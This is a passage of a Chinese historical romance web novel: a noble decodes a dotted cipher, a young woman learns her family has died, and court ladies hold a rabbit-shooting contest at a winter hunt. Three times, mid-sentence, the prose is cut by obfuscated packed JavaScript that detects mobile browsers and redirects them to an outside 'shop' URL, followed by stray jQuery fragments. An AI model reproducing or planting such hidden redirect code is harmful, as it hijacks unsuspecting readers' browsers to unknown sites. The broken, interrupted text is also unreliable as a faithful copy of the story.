季晚凝一动不动,连他从身后走过都仿若未闻,摆明了不想理他。
贺兰珩的目光在她身上掠过,一语不发地走到屏风后,自行更了衣。
季晚凝卧在榻上,听见净房里传来了淅沥的水声,过了一阵,房里的灯烛尽数熄灭,陷入了漆黑。
她抱着薰球,裹紧了薄被,阖上眼,没一会儿就发出了均匀的呼吸声。
纱帐被夜风拂起褶皱,月光在绡纹间流动,夜漏上水的声音清清泠泠,好似玉簪轻叩在青铜磬上,与若有若无的呢喃声此起彼伏。
贺兰珩睡眠本就浅,那细微而急切的声音如丝线般钻进他的耳中,将他从睡梦中拉了出来。
他坐起身,抬手掐了下眉心,拨开纱帐循声看去。
榻上的季晚凝翻了个身,薄被跟着滑落到肩头,露出一截白皙脖颈,口中小声喊着:
“有贼人……”
“快停下来……”
“贼人,你到底有何企图!”
贺兰珩凝神细听,上次她的梦呓里就提到了吴贼,显然指的是吴道坤。
如果她是陈澍的女儿,那么这次的贼人也可能指的是吴道坤派去追杀她和季羽的官差。
“贼人,你是不是想摔死我?我命你立即停下来!”
她的语气带着薄怒,琼鼻翕张,细细的两条眉也拧紧了,月辉下的芙蓉面生起一丝缬晕来。
贺兰珩隔着不到一丈远看着她,等待她说出关于密信的信息。
静了几息后,她又张开樱唇,语气从惶恐到带有几分犀利的呵斥。
“贺兰珩!听到没有?给我停下来!”
贺兰珩额上的青筋一跳,他半敛眼眸,竖起两指揉了揉太阳穴。
他刚要放下帘帐,这时季晚凝的腿不老实地蹬了一脚被子,踹到了地上。
贺兰珩轻叹了口气,无可奈何地掀开被子,走到卧塌边。季晚凝穿着单薄的中衣,身子缩起来紧紧抱着薰球。
他伸手触了一下那铜球,已经冷了。
贺兰珩把被子从地上捡了起来,放到床上,又卷起自己的被子抱了过来,抖落一下,盖在了季晚凝的肩头。
她眉黛稍松,身子在被窝里舒展了一下。
他掖好被角,转身刚要走,季晚凝幽幽的声音又响了起来。
“站住,别走。”
贺兰珩脚步一顿,回头看去,季晚凝双眼紧闭,羽睫轻颤,伸出了一只雪藕似的手臂来,猝不及防地抓住了他腰间中衣的丝绦,往回一扯。
丝绦在她指间如游鱼般滑开,衣襟随之散乱,贺兰珩眉尖紧敛,一把攥住她作乱的手,一根根地把她的手指掰开。
“贼人,捉到你了。”季晚凝不满地蹙起柳眉,继而命令道,“不准动。”
贺兰珩不自觉地停了下来,她手里牵着长长的丝绦,朝着里侧使劲拽了下,迫使他俯下身,双手撑在卧榻上,半个身子笼罩在她身上。
“让我看看贼人长什么样。”
说着她抬起另一只手,抚上了贺兰珩的脸庞。
贺兰珩喉结攒动,颈侧的青筋绷紧了。
她纤细柔腻的指尖描摹着他的眉骨、鼻梁,激起了一片难以言喻的细密的战栗感,顺着经脉流撺至脖颈、指尖、腰腹。
指腹拂过睫毛过,他闭上了眼,感到身体却像被封印了一样动不了。
“相貌倒是不赖,卿本佳人,奈何为贼?”
她的口吻像是在审视一个犯人,说完之后似乎消了气,双手一软放开了他。
贺兰珩缓缓直起身,细长的丝绦缠在一起落在卧榻边沿,领口斜敞着,露出了精实的胸膛。
他一边系上丝绦,一边看着卧榻上的季晚凝,蹙着的柳眉渐渐舒展,满意似的抿了下唇,拢了拢被子没再出声,像玉兔一样安静。
……
十二月,天子下诏,册封宋家嫡长女为太子妃,昭告天下。
成亲当日,宋府外人山人海,百姓围挤,都想一睹东宫夫妇的风采。尤其是这位太子殿下,自皇后薨逝后便闭关不出门,至今已有五年了。
只见太子妃走出宋府大门,手执团扇遮着脸,太子头戴九旒衮冕,脸藏在白珠后面,却能感觉到他脸色没有一丝喜色。
障车载着一双人,往东宫驶去。
大赦天下的敕令马上就传到了林夙之耳中。
翌日天还没亮,她就出了自己的小院,这是她从靳府出来后赁的。
头天晚上,她把仅有的三间房收拾得纤尘不染,又添置了两席簇新的被褥。
林夙之赶到宫门外,候了半个时辰,晨钟过后,掖庭放出来的罪眷由女官领着,整整齐齐排成几队,被送出了宫门。
她们一水穿着青灰布衣,有的眼神空洞,徐缓地迈着步,有的眼噙热泪,紧紧抱着怀里的布囊。
林夙之仔细辨认着队伍中的每一张脸,寻找自己的阿娘和阿妹,心情激动又焦灼。
可直到宫门关闭,她也没找到她们。
林夙之拦住了落在队尾的一个老妪,问道:“老人家,请问你见过潘氏和林昔之吗?她们没出来吗?”
老妪身子颤颤巍巍,停下脚步,仰起树皮般的脸道:“你是说林氏母女?死了……都死了。”
“你说什么?!”林夙之脸色陡然变得煞白,“何时死的?怎么死的?”
“潘氏大半年前病死了,唉,掖庭里病死的人太多了。”老妪的嗓音如凄风卷过的枯叶,“没过多久她那个女儿也死了,至于怎么死的,不可说,不可说……”
林夙之忙从袖中掏出了几个铜钱,急切道:“老人家,求求你了,告诉我吧。”
“小娘子,你是她们的家人?好好活着吧,什么也别问。像我,什么都不知道,才能熬到活着出来。”
老妪艰难地抬起脚,弯着虾米一般的脊背,擦着林夙之的裙衫走远了。
林夙之怔愣在原地。
阿妹今年才十六岁,十年前林夙之跟她分别时,她还是个白白胖胖的女童。
看老妪讳莫如深的样子,她猜想阿妹是惹上事了,可是她那么乖巧,人见人爱,谁会想害她?
林夙之脑中的弦忽然被拨动,掖庭三更,宫娥暴毙……
她攥紧了手帕,《长安异闻录》里面写的宫女难道就是阿妹?!
……
今冬的初雪悄无声息地降临了,如碎琼乱玉铺撒在长安城。
贺兰珩踏着雪下值回府,边走边把从腰间把季晚凝的香球解了下来,穿过木桥,来到书房。
他的书房是一座单独建造的精美楼馆,有三层高。一楼通常用来处理公务,二楼藏书,三楼登高赏景,眺望坊市。
他把北苍留在了门外,独自坐下来,从袖中掏出香球,将雕花球盖打开,里面的香丸几乎燃尽了,露出了一截泛黄的纸。
贺兰珩把残余的香丸捏碎,从里面取出那张的纸,展开一看。
却见上面一个字也没有,只有一堆细小的、无规则的墨点。把纸对准阳光,也没发现任何暗纹。
他先前去食肆搜了整整半日才搜到这只香球,里面的香丸完整无缺,气味已褪得很淡,想必放了很多年,却没从点燃过。
季晚凝费尽心机把它藏起来,定然知晓这香球藏有秘密。
细看来,这些墨点并不是溅上去的,也不是拓写漏上去的墨迹,而是一个一个特意点的,像是某种密码。
贺兰珩将墨点拓在了一张薄纸上,次日去找靳然询问是不是军中的阴符,回答是从没见过。
他又去问了几个胡人士兵将领,也不是外番的阴符。甚至问了钦天监、道士,皆无人能解。
贺兰珩回府后坐在书房里,佯装无心地把那张拓本放在桌案上,晚间季晚凝进来端茶研墨的时候,他用余光观察着她。
她神
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164473|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
色如止水地垂首斟了茶后,瞟了两眼那纸,眼里闪过一丝好奇,随后又恢复了清冷无波的神色,低下头来研墨。
这些天她都没正眼瞧过他。
看来季晚凝也没见过这纸条,亦不知晓其中的奥秘。
晚间贺兰珩从书房出来回到来鹤园,园中的空地上,几个下人在打雪仗,季晚凝的身影也在其中,她眉眼弯如新月,红扑扑的笑脸就像冬日绽放的梅花。
东义最先发现贺兰珩回来了,立刻扔掉手里的雪球,低眉顺眼地迎了上去。
小阮和其他婢子们也马上停了下来,季晚凝敛起笑容,端谨地冲他福了福身。
贺兰珩的目光扫过一众婢女,在季晚凝脸上停了片刻,随即抬步走远了。
翌日,贺兰珩从上锁的盒子里将香球拿了出来,留下纸条,放了枚新的香丸在里面,然后派人藏回食肆的核桃里,又让东义装病,放季晚凝出去采买。
晚上他下值回来时,季晚凝一扫近日的冷漠,脸上的笑容都溢出来了,也不同他生气了。
她喜眉笑眼地提着灯朝他走来,脚步轻盈似鹿,裙摆在寒风中翩跹飞舞,上前抬手拂去了落在他肩头的雪花。
翌日贺兰珩再去食肆一瞧,香球果然不在了。
但季晚凝并没有把香球挂在腰上,似乎也没发觉香丸已经被换过了。
这么多年她都不曾点燃它,想来是当作珍藏的宝贝一样收着,舍不得用吧。
……
好事成双,太子大婚之后没多久,远嫁回纥和亲的长公主就回京了。
回纥可汗去世后,长公主按中原律法为他服丧三年后,又遵从回纥的剺面习俗,拿刀划破了面颊,才得以回到长安。*
长公主是天子的嫡亲幺妹,天子喜不自胜,没还等她回来,就下诏册封为安国长公主,并以最高的礼制迎她归京。本来长公主正好能赶上太子大婚,但因着路途遥远,耽搁了些时日,不巧错开了。
坊间亦是喜气洋洋,长公主进京的这一日,百姓们夹道迎接,翘首以盼。
贺兰珩和季晚凝骑在马上,正打算去山上实操狩猎,不慎混入了潮涌般的人群里,被围了个水泄不通。
内府乐队锣鼓喧鸣,开道声响若雷霆,庞大的左万骑仪仗队伍手持长戟踏步而来,身后幢节伞盖,弥街翳日。
没一会儿,就见六匹赤马拉着长公主的厌翟车缓缓驶来,车身朱红梁架,雕镂着鎏金云凤纹,旌旗焕赫,光香满路。
伞下坐着一人,身披礼服,上绣百鸟朝凤,头戴十二树花钗冠,博鬓垂珠,宝钿缀玉,正是安国长公主。
孩童们纷纷骑跨在父兄的肩上,甚至有胆大的爬上了树,亦或攀上屋顶远眺。
季晚凝在马背上视野刚好,她伸直纤长的脖颈,望向厌翟车。
长公主为掩住刀疤戴着面纱遮脸,那面纱用水精、瑟瑟和碧琉璃串成,在阳光下流光溢彩,独独露出一双美目来,顾盼神飞,明艳无双。
围观的人群随着长公主行进的仪仗队往皇城的方向涌去,贺兰珩看了眼仍在张望的季晚凝,道了句:“走吧。”
季晚凝这才收回目光,点了下头,牵起缰绳,不经意回眸间,她的视线被退潮的人群中一张熟悉的侧脸吸引。
林夙之!
她迅速跃下马背,拨开人群钻了进去,试图抓住林夙之的身影。
可她们之间始终隔着半丈多的距离,若是这时她能喊她一声,林夙之定然能听见。
季晚凝张了张嘴,尝试着出声,喉咙却始终像堵住一样,无济于事,急得她跺了下脚。
人群无序地推搡着她,季晚凝就这么眼睁睁地看着林夙之随着人流飘走了。
她失望地骑回马上,贺兰珩睇了她一眼,反手勒紧缰绳,策马往南去了。
季晚凝跟他在后面,心里憋闷不已,也不知是气他还是气自己。
她忽地扬鞭打马,四蹄一跃超过了贺兰珩,把他甩在了后头。
贺兰珩望着她翩然远逝的背影,夹紧马腹跟了上去。
35. 冬狩
在长公主的提议下,冬狩定在了白鹿原,这里三面环水,一面依山,鹿群出没,还可以凿冰垂钓。
出行这日,瑞雪纷飞,从夜里一直下到清晨。
天子并没有因此被浇灭热情,十二面蟠龙旗迎风猎猎,銮驾后面跟着宗室嫔妃、文武百官、禁军骑兵,仪仗队浩浩荡荡绵延数里。
贺兰珩披着银貂裘,登上马车,过了一会儿县主把容嫣也送上了车,千叮万嘱她要听话,不许惹事。
季晚凝穿件了襦袄胡服骑上马,跟着北苍、东义他们一起,迎风嗅着新鲜而自由的空气。
梨穗则率了几个婢女随车徒步,车上还需要一个人看炉子的,这种好差事梨穗当然要留给自己了。
她理了理鬓发,掀开车幔,冲贺兰珩妩媚地笑了笑,撩起裙摆登了上去。
“季晚凝呢?”贺兰珩淡声开口,“让她上来。”
梨穗弯着腰堪堪钻进去一半,尴尬地低低应了一声,退了出去。
她走到季晚凝的波斯马旁边,冷眼瞧着她道:“郎君让你上车伺候。”
季晚凝不情愿地下了马,骑马虽然冷,但她更不想跟贺兰珩同处,而且车上还有一个对她有些抵触的五娘。
她把马交给东义后上了车,锦毯上放着一只莲花银熏炉,她搁上香料,点了火,车厢里慢慢暖和起来。
“阿兄,你怎么还带她来冬猎?”容嫣还在为阿兄把手膏送给季晚凝的事耿耿于怀。
“这么多话,想不想去了?”正在闭目的贺兰珩掀起眸子,看了她一眼。
容嫣做了个鬼脸:“后悔也晚了,你总不能把我扔下车吧。”
“你不是想让我教你骑马吗?”贺兰珩道,“你现在可以骑马去营地,烤好两只野兔等着我。”
容嫣翻了翻眼皮,不理他了,把目光转向了季晚凝,打量了片刻道:“你的脸太白了,正值冬季,容易显得气血不足,应当扫点胭脂。”
季晚凝抚了抚自己的脸,今日天还没亮她就起来忙里忙外打理行装,只随手淡扫了下蛾眉,况且平日她也习惯薄妆。
“我近来调配了一款胭脂,名唤覆雪梅,刚好适合冬季用。”
容嫣从身上的绣囊里掏出了一只精巧的雕花银粉盒和一面菱花镜,递了过去:“你比我白,敷上让我看看效果怎么样。”
季晚凝拿起镜子,往脸颊扫上了两抹,瞬时就如雪中梅花,清艳出尘。
容嫣左右端详,满意地点了点头:“你瞧,红润多了,阿兄你看我这颜色调制得是不是很贵气?”
“阿兄,你在东市的铺面借我一个,我要开家胭脂铺,赚了钱跟你二八分账。”容嫣拽了拽贺兰珩的袖子,见他阖着眼,似乎睡着了。
她又转头对季晚凝道:“还有你,你叫什么名字?看你相貌不俗,到时我雇你来铺子里当门倌,能招揽不少生意,我付的月钱肯定比阿兄多。”
季晚凝笑而不语,觉得这个五娘虽然不喜欢她,但人倒挺有趣的。
“怎么不回话?”容嫣蹙了蹙眉尖,睨着她,“一点礼数也不懂,阿兄是怎么教你的?”
季晚凝向她做了个无法说话的手势。
“哑巴?那算了吧,当我刚刚没说过。”
容嫣失望地把粉盒收回绣囊里,觉得有几分无趣,往窗外望了一会儿,很快就倚着车壁睡着了。
临近晌午,雪霁初晴,车队驶进了银装素裹的白鹿原,灞河宽阔的冰面映着曜目的光,原野上新雪铺就,无垠的洁白延伸向远方,与天幕相融。
马车停下,容嫣随之一晃,迷迷糊糊地睁开了眼,搭着季晚凝的手臂跳下了车。
到达猎场后,天子在鹿台举行了祭祀仪式,兵部纠集将士在外藩使臣面前进行演练,使臣则献上猎豹等贡品。
随后天子率先在内侍的包围下进入围场狩猎,等他回来后才轮到王公大臣。
众人成群结队回到营地休息,仆从们将行囊从骆驼上取下来搬运过来,扎起硕大的幄帐,布置茶具寝具、毛毯坐榻,一应俱全。
容嫣坐在帐外的胡床上兴奋地东张西望,她发现到场的女眷里数她年纪最小。
她将目光移向皇室的幄帐寻找长公主,却远远地瞧见了九公主,然后迅速转过头来,仰面对一旁的贺兰珩道:“对了阿兄,你能不能借我一间铺面?”
贺兰珩淡淡看了她一眼道:“你不是说当你没说过吗?”
“……你居然装睡!”容嫣睁圆了眼睛。
这时一群贵族子弟走过来,将贺兰珩团团围住,要跟他比试箭术,这些人都是贺兰珩原先在左千牛卫任职时的同僚。
“三郎!”一个娇细的声音忽然打断了男人们的吵闹声。
众人闻声转过头来,纷纷躬身行礼。
“臣拜见九公主。”
九公主身披一袭红色兔毛斗篷,面染斜红,额点花钿,鬓发绾成堕马髻,插着金莲凤钗,浮翠流丹,身后跟着一个面容清秀的小内侍。
她走到贺兰珩近前道:“阿耶今日兴致高得很,我猜他还要好一会儿才能回来,你先跟我们一起打马球好不好?”
容嫣闻言蹭地一下站了起来,窜到九公主面前道:“殿下,你看见长公主了没有?要打马球,不带长公主她可要发火了。”
“长公主她忙得很,被一群皇姑绊住脚了。”九公主斜了她一眼道。
“那等长公主忙完再去,我也一起。”容嫣道。
九公主不屑道:“容嫣,你马术不精,马球也才初学,现在就上场恐怕不合适。”
“我没问题的,我跟阿兄一队。”
“那你别给我和三郎拖后腿。”九公主轻抿朱唇,将头扬到一边。
“你要是怕我拖后腿,就别跟我们一队呗。”容嫣白了她一眼,心道什么三郎三郎的,叫得这么亲。
这时远处一群人簇拥着天子回到了御帐,几个内侍抬着一头巨大的野猪给众人展示。天子骄傲得很,下令把野猪烤了给群臣分食。
不一会儿,靳然牵着马过来了,喊贺兰珩一起进猎场。九公主扫兴地嘟了嘟嘴,对贺兰珩道:“三郎,那你先去吧。”
贺兰珩回幄帐里取弓箭,这会儿帐里已经收拾一新,季晚凝把他的射箭工具递了过来。
他戴上皮革臂鞲和玉扳指,见容嫣也钻了进来,便对她道:“你一会儿先带晚凝去找长公主。”
容嫣点头应了声“好”。
贺兰珩出了幄帐,跟着靳然以及那些左千牛卫的贵族子弟一齐走了。
“你跟我走吧。”
容嫣冲季晚凝招了招手,说罢又觉得有些怪怪的,阿兄为何说让她带晚凝去找长公主,而不是说让晚凝跟着她去找长公主?
好像是一个意思,但又不完全是。
季晚凝把拨炭的铁钩放在一边,起身跟在容嫣后面,往皇家的幄帐那边巡了一圈,没见人影。
季晚凝微微踮起脚,环目四顾,看见远处马球场外有一个身穿胡服的身影,头顶浑脱金锦帽,腰系蹀躞带,脚踏红锦靴,脸畔垂着跟回京那日一样的珠玉面纱。
她拉着容嫣朝长公
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164474|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
主的方向指了指。
容嫣被她的手拉住那一瞬间感到温暖又柔软,须臾后想起她是个不相熟的奴婢,又把手抽了出来。
容嫣加快了脚步,朝长公主跑过去,隔着老远就扯着嗓子喊:“长公主殿下!”
长公主转过身来,眉眼一弯,张开双臂弯腰迎着她,容嫣往她怀里一扑,被她紧紧地环住了。
“殿下,我找了你好半晌!”
“你如今怎么这么生分,你儿时管我叫什么来着?”长公主笑道。
容嫣惝然地低下头,以前长公主有两个称呼由着自己随便叫,可如今只有一个能叫了,她小声道:“皇表姑……”
“这才乖嘛,五年没见,容嫣都长这么大了。”
季晚凝站在后面,端看长公主的相貌,涵烟眉黛,眼若刀割,面纱之下鼻梁高挺,隐约可见红唇似朱,看起来跟贺兰珩年岁相仿。
“表姑,你是不是来打马球的?我要跟你一队,你不嫌弃我吧?”容嫣道。
“我怎么会嫌弃你呢,只不过我今日不上场。”长公主道。
这时,以九公主为首的一群公主、贵女也赶到了马球场。
“皇姑,你不参加吗?”九公主诧异道。
长公主打小就爱骑马射猎、飞鹰走犬,马球蹴鞠无一不精通,让太后头疼不已。
“我上场对你们太不公平了。”长公主挑眉一笑,“我今日是来做裁判的。”
“大雪方歇,你们瞧这场地,虽然宫人已经打扫过了,可地面坑坑洼洼的,马球是打不了了。”长公主转身对面前的一群女郎道,“本主想了个新玩法,打个人赛。”
容嫣听到新玩法,眼睛一亮。
九公主方才已经选好了队友,听长公主这么一说,虽有些不悦,但她也不怵,在宫里无论和宫女内侍玩什么,她可从没输过。
“规则很简单,本主会在围场里放进一群野兔,其中只有一只褐兔,其余皆是灰兔。你们骑马进场,谁先射中褐兔谁就胜出一局。
“注意,每人每局最多只能射五箭,一共五局,赢得次数最多者便可摘得头筹——本主的九凤簪。”
女郎们听后面面相觑,射一只兔子不难,可要在一堆颜色相近的兔子里找到褐兔,且射箭次数还有限制,这就难上加难了。
不愧是长公主,能想出这么刁钻的玩法来。
可九凤簪又让女郎们怦然心动,这支玉簪用的是于阗国献给大齐的最上等的羊脂玉料,长公主及笄时天子特意命文思院的名匠们打造而成的,上雕九凤,精巧绝伦。
温山县主在九公主的耳畔打趣道:“这九凤簪恐怕是殿下的囊中之物了。”
九公主拢了拢斗篷,眼里的神采灿然流转,一副势在必得的样子,她对身后的小内侍道:“渊生,去把本主的马牵来。”
渊生只有十五岁,身量在男子里不算高,但生得骨秀清美。他穿得单薄,双手拢在袖子里,轻轻应喏,声音微微发颤,似是在竭力忍受着寒冷。
容嫣转过头来,也学着九公主对季晚凝命道:“晚凝,把我的马牵过来。”
温山县主道:“容嫣,你也要参加吗?”
容嫣扬起下巴:“我不仅要参加,我还要拔头筹!”
放狠话是她的特长,不论有几分能耐,先长己方气焰,灭对方威风再说。
温山县主用锦帕掩住唇噗嗤一笑。
一旁的八公主轻蔑地瞥了她一眼道:“未免也太自不量力了。”
“罢了,童言无忌。”九公主翘着嘴角揶揄道。
36. 放水
这时渊生牵着一匹俊美的汗血宝马回来了,那马身形矫健,额间一点新月白章,马身缀着连珠绶带,跟它的主人一样华贵。
跟在他身后的季晚凝则牵来了一匹矮脚马,四肢短粗,这种马以稳健和耐力见长,通常用来负载辎重,也适合初学骑马者。
“哟,容嫣你是来比赛的还是拉运货的?”八公主戏谑道。
温山县主也笑她:“我看你这马还没你高呢。”
容嫣被她们羞辱得有些无地自容,红彤彤的小脸鼓得像只青蛙,气势明显弱了些:“你们不懂,这种马下盘稳当得很。”
季晚凝把辔头递到她手上,又将背上的短弓和箭囊挂在马身两侧。
九公主道:“这个玩法太难了,你还是观战吧,不然你要是受伤了,三郎该不高兴了。”
“别小看人,你们等着,我要把你们打得落花流水!”
容嫣放完狠话,让季晚凝托举着自己坐上马鞍,女郎们瞧着她笨拙的样子纷纷低头窃笑。
九公主解下斗篷,扔到渊生手里,只留了里面的一身金丝窄袖胡服,翻身上马,俯睨着容嫣道:“别怪我没提醒你。”
长公主挥了挥手,随即宫人搬来了一只大铁笼子,里面装着十数只活蹦乱跳的野兔,悉数放进了围场里。
季晚凝见长公主准备得如此周全,看来她对这个比赛是精心策划的。
女郎们依次骑马入场,栅栏关闭,急促的羯鼓声响起,一团团毛绒绒的黑影在杂沓的铁蹄间东窜西逃。
“八公主!褐兔朝着你的方向去了!”一个女郎喊道。
八公主首先挽弓搭箭,盯紧前方,脱手撒箭,那褐兔猛蹬后腿调转方向,箭镞插进了沙尘里。
女郎们见她射空,迅速勒住缰绳,追逐褐影。容嫣眼花缭乱,跟不上节奏,只得尾随在她们的马后,像个小尾巴一样,被溜来溜去。
九公主一马当先,举起桑木角弓,放箭离弦,精准地射在了兔子的侧身。
“中了!中了!”
“你看清楚了,那是只灰兔。”
“还真是啊,太可惜了。”
容嫣呼了口气,紧攥缰绳的手已渗出薄汗,她把手在裤子上抹了抹,给自己打气,还有机会捡漏。
那只生命力顽强的褐兔从九公主箭下躲过,往人少的空地跑去。
容嫣正好瞅准时机,从箭囊里取出一支箭来搭在弦上,瞄准了它。
季晚凝站在栏外观赛,看见九公主也在瞄准,瞄的却是容嫣的马,她焦急地张了张嘴想提醒她。
就在这时,鸣镝凌空飞响。
容嫣身下的矮脚马突然扯着脖子嘶鸣,双腿跪地,她尖叫了一声,随着马身重重地侧翻在地上,手里的弓箭也飞了出去。
幸好马身矮,她摔得不算严重,但还是痛得她龇牙咧嘴,爬起来第一时间去查看马的情况,发现马腿上赫然插着一支金箭,箭翎上绑着一只红丝带。
“九公主!你把我的马射伤了!”
十余匹马在她四周交错飞奔,没有一个人理会她。
季晚凝担心容嫣伤情,回头望了望长公主,她正全神贯注地观看比赛,却没阻止。
这时沙埚地里忽地一阵骚动,欢呼声连连响起。
“九殿下真厉害!这么快就中了!”
“不愧是九殿下!箭术了得!”
女郎们围在九公主身边,不住地称赞。九公主收起弓,傲然道:“这有什么。”
随后众人驾马出场,最后面的容嫣一瘸一拐地走了出来,咬着嘴唇,眼里噙着泪花,季晚凝忙上去搀扶她。
容嫣一点点挪到看台上,长公主正坐在中央,命人看座。
季晚凝扶她坐下,撩起裤腿,发现她的脚腕已经肿出了一个鼓包。
“去拿膏药来。”长公主对宫女吩咐道,随后又转向容嫣,“我这个比赛对你来说确实难了些。”
“等我下一局扳回来!”容嫣咬牙道。
季晚凝听见她的豪言壮语不禁扶额,她还真是锲而不舍,竞技精神可嘉,但一会儿贺兰珩要是看见她受伤了,挨骂的人可就是自己了。
“你脚崴了,不能再上场了,不然伤情会加重。”长公主肃容道。
容嫣挽住她的胳膊直摇晃:“表姑,我可以的。”
“不成。”长公主斩钉截铁地拒绝了,“你若想要那簪子,等你及笄时我命名匠给你雕一支。”
这时宫女取来薄荷膏给容嫣上了药,容嫣转动了下脚腕,痛感刺得她直挤眼,只好嘟囔了句:“那好吧。”
“就算你没受伤,也赢不了的。”九公主走上木阶,身后的渊生手中提着那只战利品。
季晚凝抬眸扫了一眼她,不好容易劝说容嫣放弃了,这个时候九公主又来煽风点火。
容嫣见九公主一脸春风得意,更不服输了,刚软下来的语气又支棱了起来:“能不能赢,要到最后再说。”
“容嫣,本主不准你再上场。”长公主语气严厉道。
“表姑……”容嫣企图撒娇,可长公主不吃这套,于是她又换回了倔强的声音,“九公主她射伤了我的马,我咽不下这口气。”
季晚凝把容嫣从长公主身上拉回来,对她指了指自己。
“什么意思?你要替我上场?”容嫣眨了眨眼睛,“你行吗?”
季晚凝点头。
容嫣清楚自己的伤连上马都困难,既然季晚凝给了她个台阶,就顺便下了,也不指望她能赢。
“表姑,可以吗?”
长公主看了眼蹲在地上给容嫣整理裤管的季晚凝,道:“只要其他人都同意就可以。”
九公主掩口笑道:“派个奴婢上场,容嫣你不嫌丢人,我便没意见。”
季晚凝给容嫣整理好裤管,起身回营地牵马去了。
等她走了,容嫣一溜眼珠子道:“九殿下,别怪我没提醒你,她是三兄的贴身婢女,三兄亲自教她骑射的。”
九公主失笑道:“你就会吹牛,三郎怎么可能亲自教一个奴婢骑马。”
歇够了一盏茶的工夫,长公主起身走下看台,容嫣由宫女扶着跟在后面。
长公主站在众人前面宣布:“本主补充一条规则,无论是无心亦或有意,都不许射马,更不许射人,否则即刻取消比赛资格。”
九公主抿了抿唇,把目光移向一旁,见季晚凝牵着她那匹枣红色的波斯骏马走到了围场边上。
一看那马的身形和毛发便知道是良骥,九公主略瞟了季晚凝一眼,随后跨上马打头进了围场。
八公主斜眼瞧着季晚凝道:“还骑名马,也不看看自己什么身份。”
季晚凝尾随在后一跃上马,一边执弓挂弦,一边进了场。
新的一波兔子被放进围场中,野兔们在沙埚地里撒欢奔跑。
季晚凝骑在马上,一眼就瞄见了那只褐兔,她一夹双镫,往前跑了过去。
女郎们左右围追堵截褐兔,乱箭擦着兔子的皮毛射过去,小东西始终毫发无损。
在一股股的沙尘碎雪中,季晚凝执起格弓,这弓是贺兰珩给她的,机动性强,适合快速射击,正符合她的特点,另一手从骑囊里抽出一支箭来搭在箭台上,抬起后肘,虎口推弓。
箭翎破空而出,在寒风中带着呼啸声直奔目标。
一只兔子应声倒地,九公主侧目看了眼,见是灰兔便没放在心上,收回视线继续扫视地面。
那褐兔和一只灰兔一前一后,从她马下飞也似的钻了出来。
她开弓蓄势,双目微眯,正在瞄准间,一只箭翎从她身后飞了过来,一击即中。
九公主心里一沉,再定睛看去,被射中的又是只灰的,她扭头,只见季晚凝手里的弓弦还在震颤,表情有些失落。
九公主暗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164475|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自嗤了一声,这时温山县主等人策马驱赶褐兔,不着痕迹地将兔子赶到了九公主前方。
九公主重新挽弓一连射出四箭,最后一箭终于成功插进了褐兔的后腿。
“九殿下赢下两局了!”温山县主抚掌欢呼,“看来用不了五局,三局就能拿下了!”
众人牵马走出围场,九公主拎着兔子朝长公主走过去,阳光照在她秀丽的脸上,神采奕奕。
长公主拿着马鞭走下看台,一双凤目好似冷泉一般,没有看九公主,反而将目光锁在了季晚凝身上。
季晚凝没随众人一起凑上前,只是静静站在远处,拿着草喂马。
“贺兰家的婢女,你上前来。”长公主锐利的声音穿过人群。
季晚凝闻声一怔,不知自己犯了什么错,她栓好马后走到她面前,屈膝正要行跪。
“起来,没让你跪。”
一旁的容嫣听出了长公主语气里的愠怒,十分疑惑,晚凝虽然没赢但表现绝不丢人,也没犯规。
长公主上下打量了一番季晚凝,厉声道:“谁让你放水了?再敢放水,不仅没赏,本主还要重罚!”
放水?
容嫣睁圆了眼睛,表姑是怎么瞧出来季晚凝放水的?她怎么就看不出来?
季晚凝抿着唇乖巧地低下头。
刚刚她听周围人闲谈,得知九公主是郑贵妃所出,季晚凝心里大喜,郑贵妃与郑彦元是亲兄妹,她知道昔日郑彦元与父亲同为削藩派,一直以来她有个直觉,郑彦元就是谶书主谋。
所以她不仅不能得罪九公主,还得想办法讨好接近她。可在赛场上又不能给容嫣丢脸,季晚凝就故意射了几只灰兔,谁想长公主火眼金睛,被她抓了个正着。
九公主一听这话,浑身的骄傲好像被人折去了一样,怒道:“好你个贱婢,你觉得本主需要你放水?”
容嫣看她骂自家婢女,脸也黑了,转头冲季晚凝道:“听到没有?九公主骑术精湛,百步穿杨,又宅心仁厚,用不着你谦让,尽管放手去博!”
这时渊生掀起薄薄的眼皮,瞄了眼季晚凝,她虽一脸知错的样子,腰身却挺得笔直。
九公主被容嫣的阴阳怪气噎得不知说什么好,渊生将手里的水壶递给她,轻声道:“殿下,喝口水吧。”
九公主接过水壶仰头喝了几口递还给他,渊生伸出手接过来,他手指的细长而苍白,却生了冻疮,起了一片片的红疮。
